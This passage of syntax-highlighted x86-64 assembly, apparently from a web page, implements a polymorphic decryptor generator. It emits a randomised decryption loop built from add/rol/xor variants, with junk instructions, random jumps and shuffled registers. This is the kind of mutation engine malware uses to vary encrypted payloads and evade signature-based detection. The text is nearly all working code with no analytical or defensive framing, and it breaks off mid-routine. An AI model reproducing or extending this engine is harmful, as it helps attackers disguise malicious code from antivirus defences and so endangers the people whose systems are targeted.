    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="nv"&gt;g0_dcr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate prologue&lt;/span&gt;
&lt;span class="nl"&gt;gen_p:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_trash1&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
&lt;span class="nl"&gt;.skip_trash1:&lt;/span&gt;

    &lt;span class="c1"&gt;; mov reg_key,key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xB8&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;prolog_set&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosq&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_trash2&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
&lt;span class="nl"&gt;.skip_trash2:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate decrypt loop&lt;/span&gt;
&lt;span class="nl"&gt;gen_dec:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;jmp_back&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

    &lt;span class="c1"&gt;; mov reg_base,rdi (data pointer)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF8&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

    &lt;span class="c1"&gt;; mov reg_count,rsi (size)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

&lt;span class="nl"&gt;.decr_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="nv"&gt;g0_dcr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_algo_0&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_algo_1&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_algo_2&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_algo_3&lt;/span&gt;

&lt;span class="nl"&gt;.gen_algo_0:&lt;/span&gt;
    &lt;span class="c1"&gt;; add/rol/xor&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_add_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_rol_mem_16&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_loop_end&lt;/span&gt;

&lt;span class="nl"&gt;.gen_algo_1:&lt;/span&gt;
    &lt;span class="c1"&gt;; xor/rol/xor&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_rol_mem_16&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_loop_end&lt;/span&gt;

&lt;span class="nl"&gt;.gen_algo_2:&lt;/span&gt;
    &lt;span class="c1"&gt;; sub/ror/xor&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_sub_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_ror_mem_16&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_loop_end&lt;/span&gt;

&lt;span class="nl"&gt;.gen_algo_3:&lt;/span&gt;
    &lt;span class="c1"&gt;; xor/add/xor&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_add_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;

&lt;span class="nl"&gt;.gen_loop_end:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ADD_REG_IMM8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

    &lt;span class="c1"&gt;; generate DEC instruction&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.dec_no_rex&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x49&lt;/span&gt;                                &lt;span class="c1"&gt;; rex.wb for r8-r15&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.dec_encode&lt;/span&gt;
&lt;span class="nl"&gt;.dec_no_rex:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;                                &lt;span class="c1"&gt;; rex.w for rax-rdi&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nl"&gt;.dec_encode:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;xchg&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC8&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;TEST_REG_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JNZ_LONG&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;jmp_back&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;neg&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; algorithm generators&lt;/span&gt;
&lt;span class="nl"&gt;gen_add_mem_key:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ADD_MEM_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;gen_sub_mem_key:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x29&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;gen_xor_mem_key:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;XOR_MEM_REG&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;gen_rol_mem_16:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ROL_MEM_IMM&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;ah&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;gen_ror_mem_16:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
